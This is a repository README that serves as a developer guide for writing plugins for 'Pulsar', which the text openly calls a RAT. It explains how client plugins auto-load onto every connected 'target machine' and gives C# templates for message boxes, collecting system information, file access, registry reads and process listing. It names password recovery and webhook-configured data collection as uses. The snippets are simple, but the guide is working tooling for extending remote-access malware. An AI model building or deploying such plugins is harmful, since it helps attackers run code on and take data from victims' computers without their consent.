Files
PulsarK-main/Plugins/README.md
T
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

607 lines
18 KiB
Markdown

# Pulsar Plugin System - Developer Guide
Welcome to the Pulsar Plugin System! This guide will teach you how to create powerful plugins that can run on client machines through the Pulsar RAT system.
## 📋 Table of Contents
- [Quick Start](#-quick-start)
- [Plugin Types](#-plugin-types)
- [Creating Your First Plugin](#-creating-your-first-plugin)
- [Advanced Features](#-advanced-features)
- [Code Templates](#-code-templates)
- [Troubleshooting](#-troubleshooting)
## Quick Start
### What You Need
- **Visual Studio** or **VS Code** with C# support
- **Basic C# knowledge** (variables, methods, classes)
- **Most importantly, a brain**
### Plugin System Overview
- **Client Plugins**: Run on the target machine (what we'll focus on)
- **Server Plugins**: Run on the server (for UI and management)
- **Universal System**: Works with any .NET Framework 4.7.2+ project
## Plugin Types
### 0. **Client-Only Auto Plugins** (New)
- Target a single assembly that implements `IUniversalPlugin`
- Name the compiled DLL with a `.Client.dll` suffix (for example `ActionPlugin.Client.dll`) and drop it into `Pulsar.Server/Plugins`
- Every connected client loads the plugin automatically without any server UI wiring
- The plugin's `Initialize` method runs immediately after download, perfect for one-shot actions
- Update the `Version` property when you publish a new build so clients receive the fresh copy
- Optional: place a `<PluginName>.init` file next to your DLL to supply raw init data bytes
### 1. **Server-Only Plugins** (Run on server machine)
- Add menu items to the server interface
- Create custom server UI windows
- Handle server-side data processing
- **Example**: Custom client management tools, server utilities
### 2. **Server-Client Plugins** (Both components needed)
- Server part: UI and menu integration
- Client part: Actual work on target machine
- Communication between server and client
- **Example**: passwords recovery, etc
## Important Terms Explained
### Plugin State
- **`IsComplete`**: Tells the system if your plugin is done working
- **`_isRunning`**: Your own variable to track if plugin is busy
- **`ShouldUnload`**: Tells system to remove plugin from memory when done
### Plugin Lifecycle
1. **Initialize()**: Called when plugin loads (setup code here)
2. **ExecuteCommand()**: Called for each command from server
3. **IsComplete**: Checked to see if plugin is done
4. **Cleanup()**: Called when plugin is removed (cleanup code here)
### PluginResult Properties
- **Success**: Did the command work? (true/false)
- **Message**: Status message for the server
- **Data**: Raw data to send back (use Encoding.UTF8.GetBytes())
- **ShouldUnload**: Remove plugin when this command finishes?
### initData Parameter
- **What it is**: Data sent from server to plugin when it loads
- **Common uses**: Configuration, webhook URLs, file paths
- **How to use**: `string config = Encoding.UTF8.GetString(initData);`
## Creating Your First Plugin
### Step 1: Create a New Project
1. Open Visual Studio
2. Create new **Class Library (.NET Framework 4.7.2)** project
3. Name it something like `MyFirstPlugin`
### Step 2: Copy the Template Code
Replace your `Class1.cs` with this template:
```csharp
using System;
using System.Text;
using Pulsar.Client.Plugins;
namespace MyFirstPlugin
{
public class MyFirstPlugin : IUniversalPlugin
{
// Plugin Information
public string PluginId => "myfirstplugin";
public string Version => "1.0";
public string[] SupportedCommands => new[] { "hello", "info", "status" };
// Plugin State
private bool _isRunning = false;
// Initialize the plugin
public void Initialize(byte[] initData)
{
// This runs when the plugin is loaded
// initData contains any data sent from the server
}
// Handle commands from the server
public PluginResult ExecuteCommand(string command, byte[] parameters)
{
try
{
switch (command)
{
case "hello":
return SayHello();
case "info":
return GetSystemInfo();
case "status":
return GetStatus();
default:
return new PluginResult
{
Success = false,
Message = "Unknown command"
};
}
}
catch (Exception ex)
{
return new PluginResult
{
Success = false,
Message = $"Error: {ex.Message}"
};
}
}
// Check if plugin is done
public bool IsComplete => !_isRunning;
// Cleanup when plugin is unloaded
public void Cleanup()
{
_isRunning = false;
}
// Your custom methods
private PluginResult SayHello()
{
return new PluginResult
{
Success = true,
Message = "Hello from my first plugin!",
ShouldUnload = true
};
}
private PluginResult GetSystemInfo()
{
var info = new StringBuilder();
info.AppendLine("=== System Information ===");
info.AppendLine($"Computer: {Environment.MachineName}");
info.AppendLine($"User: {Environment.UserName}");
info.AppendLine($"OS: {Environment.OSVersion}");
info.AppendLine($"Time: {DateTime.Now}");
return new PluginResult
{
Success = true,
Message = "System info collected",
Data = Encoding.UTF8.GetBytes(info.ToString()),
ShouldUnload = true
};
}
private PluginResult GetStatus()
{
return new PluginResult
{
Success = true,
Message = $"Plugin is running: {_isRunning}",
ShouldUnload = false
};
}
}
}
```
### Step 3: Add Required References
Add these NuGet packages to your project:
- **MessagePack**
- **Pulsar.Common**
### Step 4: Build Your Plugin
1. Build your project in **Release** mode
2. Copy the `.dll` file to the server's plugin directory
3. Test it through the Pulsar server interface
## 🎨 Code Templates
### Template 0: Auto-Loaded Message Box (Client Only)
```csharp
using System;
using System.Runtime.InteropServices;
using System.Text;
using Pulsar.Common.Plugins;
namespace ActionPlugins
{
public sealed class ActionPlugin : IUniversalPlugin
{
[DllImport("user32.dll", CharSet = CharSet.Unicode)]
private static extern int MessageBox(IntPtr hWnd, string text, string caption, uint type);
public string PluginId => "actionplugin";
public string Version => "1.0.0";
public string[] SupportedCommands => Array.Empty<string>();
public void Initialize(byte[] initData)
{
var message = initData is { Length: > 0 }
? Encoding.UTF8.GetString(initData)
: "Action executed!";
MessageBox(IntPtr.Zero, message, "Action Plugin", 0);
}
public PluginResult ExecuteCommand(string command, byte[] parameters)
{
return new PluginResult
{
Success = false,
Message = "No commands supported",
ShouldUnload = true
};
}
public bool IsComplete => true;
public void Cleanup() { }
}
}
```
Compile the project as `ActionPlugin.Client.dll` (or any name ending in `.Client.dll`) and drop it into `Pulsar.Server/Plugins`. If you want to change the message at runtime, create a text file named `ActionPlugin.Client.init` next to the DLL containing the message body (UTF-8 encoded).
### Template 1: Information Collector
```csharp
public class InfoCollector : IUniversalPlugin
{
public string PluginId => "infocollector";
public string Version => "1.0";
public string[] SupportedCommands => new[] { "collect" };
public void Initialize(byte[] initData) { }
public PluginResult ExecuteCommand(string command, byte[] parameters)
{
if (command == "collect")
{
var info = CollectInformation();
return new PluginResult
{
Success = true,
Message = "Information collected",
Data = Encoding.UTF8.GetBytes(info),
ShouldUnload = true
};
}
return new PluginResult { Success = false, Message = "Unknown command" };
}
public bool IsComplete => true;
public void Cleanup() { }
private string CollectInformation()
{
// Your information collection code here
return "Collected information...";
}
}
```
### Template 2: Action Plugin
```csharp
public class ActionPlugin : IUniversalPlugin
{
public string PluginId => "actionplugin";
public string Version => "1.0";
public string[] SupportedCommands => new[] { "execute" };
private bool _isExecuting = false;
public void Initialize(byte[] initData) { }
public PluginResult ExecuteCommand(string command, byte[] parameters)
{
if (command == "execute")
{
_isExecuting = true;
var result = PerformAction();
_isExecuting = false;
return new PluginResult
{
Success = true,
Message = result,
ShouldUnload = true
};
}
return new PluginResult { Success = false, Message = "Unknown command" };
}
public bool IsComplete => !_isExecuting;
public void Cleanup() { _isExecuting = false; }
private string PerformAction()
{
// Your action code here
return "Action completed successfully!";
}
}
```
### Template 3: Context Menu Client + Server Pair
This example ships a client plugin and hooks a context menu item on the server. When the menu item is clicked, each selected client displays a message box.
**Server plugin (compile as `ContextMenuMessage.Server.dll`):**
```csharp
using System;
using System.Collections.Generic;
using System.IO;
using System.Reflection;
using System.Windows.Forms;
using Pulsar.Server.Networking;
using Pulsar.Server.Plugins;
namespace ExamplePlugins.ContextMenu
{
public sealed class ContextMenuServerPlugin : IServerPlugin
{
private string _pluginDirectory = string.Empty;
public string Name => "Context Menu Message";
public Version PluginVersion => new Version(1, 0, 0, 0);
public string Author => "Example";
public string Description => "Adds a context menu entry that shows a client-side message box.";
public bool AutoLoadToClients => false;
public void Initialize(IServerContext context)
{
_pluginDirectory = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location) ?? AppDomain.CurrentDomain.BaseDirectory;
context.AddClientContextMenuItem(new[] { "Examples" }, "Show Message", OnShowMessageClicked);
}
public void Dispose() { }
private void OnShowMessageClicked(IReadOnlyList<Client> clients)
{
try
{
var clientAssemblyPath = Path.Combine(_pluginDirectory, "ContextMenuMessage.Client.dll");
if (!File.Exists(clientAssemblyPath))
{
MessageBox.Show("ContextMenuMessage.Client.dll not found next to the server plugin.", "Context Menu Plugin", MessageBoxButtons.OK, MessageBoxIcon.Warning);
return;
}
var assemblyBytes = File.ReadAllBytes(clientAssemblyPath);
foreach (var client in clients)
{
var pluginId = $"context.menu.message.{client.Id:N}";
PushSender.LoadUniversalPlugin(client, pluginId, assemblyBytes, Array.Empty<byte>(), "ExamplePlugins.ContextMenu.ContextMenuClientPlugin", "Initialize");
}
}
catch (Exception ex)
{
MessageBox.Show($"Context menu plugin failed: {ex.Message}", "Context Menu Plugin", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
}
}
```
**Client plugin (compile as `ContextMenuMessage.Client.dll`):**
```csharp
using System;
using System.Runtime.InteropServices;
using Pulsar.Common.Plugins;
namespace ExamplePlugins.ContextMenu
{
public sealed class ContextMenuClientPlugin : IUniversalPlugin
{
[DllImport("user32.dll", CharSet = CharSet.Unicode)]
private static extern int MessageBox(IntPtr hWnd, string text, string caption, uint type);
public string PluginId => "contextmenumessage";
public string Version => "1.0.0";
public string[] SupportedCommands => Array.Empty<string>();
public void Initialize(byte[] initData)
{
MessageBox(IntPtr.Zero, "Hello from the context menu action!", "Context Menu Plugin", 0);
}
public PluginResult ExecuteCommand(string command, byte[] parameters)
{
return new PluginResult
{
Success = false,
Message = "No commands supported",
ShouldUnload = true
};
}
public bool IsComplete => true;
public void Cleanup() { }
}
}
```
Place both DLLs in `Pulsar.Server/Plugins`. The client DLL must keep the `.Client.dll` suffix so Pulsar auto-dispatches it.
### Template 4: Server-Only Message Box Plugin
```csharp
using System;
using System.Windows.Forms;
using Pulsar.Server.Plugins;
namespace ExamplePlugins.ServerOnly
{
public sealed class ServerHelloPlugin : IServerPlugin
{
public string Name => "Server Hello";
public Version PluginVersion => new Version(1, 0, 0, 0);
public string Author => "Example";
public string Description => "Shows a message box when the plugin loads.";
public bool AutoLoadToClients => false;
public void Initialize(IServerContext context)
{
MessageBox.Show("Hello from the server plugin!", "Server Hello", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
public void Dispose() { }
}
}
## 🔧 Advanced Features
### Working with Files
```csharp
private string ReadFile(string filePath)
{
try
{
return File.ReadAllText(filePath);
}
catch (Exception ex)
{
return $"Error reading file: {ex.Message}";
}
}
private bool WriteFile(string filePath, string content)
{
try
{
File.WriteAllText(filePath, content);
return true;
}
catch
{
return false;
}
}
```
### Working with Registry
```csharp
private string GetRegistryValue(string keyPath, string valueName)
{
try
{
using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(keyPath))
{
return key?.GetValue(valueName)?.ToString() ?? "Not found";
}
}
catch
{
return "Error accessing registry";
}
}
```
### Working with Processes
```csharp
private string GetRunningProcesses()
{
var processes = Process.GetProcesses();
var result = new StringBuilder();
foreach (var process in processes.Take(10)) // Limit to first 10
{
result.AppendLine($"{process.ProcessName} (PID: {process.Id})");
}
return result.ToString();
}
```
## Stuff good to know about
### 1. **Error Handling**
Always wrap your code in try-catch blocks:
```csharp
try
{
// Your code here
return new PluginResult { Success = true, Message = "Success" };
}
catch (Exception ex)
{
return new PluginResult { Success = false, Message = ex.Message };
}
```
### 2. **Resource Management**
Clean up resources in the `Cleanup()` method:
```csharp
private HttpClient _httpClient;
public void Cleanup()
{
_httpClient?.Dispose();
}
```
### 3. **Memory Management**
Use `using` statements for disposable objects:
```csharp
using (var stream = new FileStream(path, FileMode.Open))
{
// Use stream here
}
```
### 4. **Plugin State**
Use the `IsComplete` property to indicate when your plugin is done:
```csharp
private bool _isProcessing = false;
public bool IsComplete => !_isProcessing;
```
## Troubleshooting
### Common Issues
**1. "Plugin not found" error**
- Make sure your plugin implements `IUniversalPlugin`
- Check that `PluginId` is unique
- Verify the plugin is built in Release mode
**2. "Command not supported" error**
- Add your command to the `SupportedCommands` array
- Make sure the command name matches exactly (case-sensitive)
**3. "Plugin crashes" error**
- Add try-catch blocks around your code
- Check for null references
- Use the `Cleanup()` method to reset state
**4. "Data not received" error**
- Make sure to set `Data` property in `PluginResult`
- Use `Encoding.UTF8.GetBytes()` for string data
- Check that `ShouldUnload` is set correctly
### Debug Tips
1. **Use the Message property** to return status information
2. **Set ShouldUnload = true** when your plugin is done
3. **Use the Data property** to return large amounts of data
4. **Test your plugin** with simple commands first
## Need Help?
1. **Start simple** with basic information collection
2. **Test frequently** during development
3. **ask** Do not ask me for help in t.me/PulsarPlugins , this project was a HEADACHE
## You're Ready!
You now have everything you need to create powerful Pulsar plugins.
Start with the simple templates and gradually work your way up to more complex plugins.
Remember: **start simple, test often, and have fun!**
---
*Happy Plugin Development! (more like goodluck) *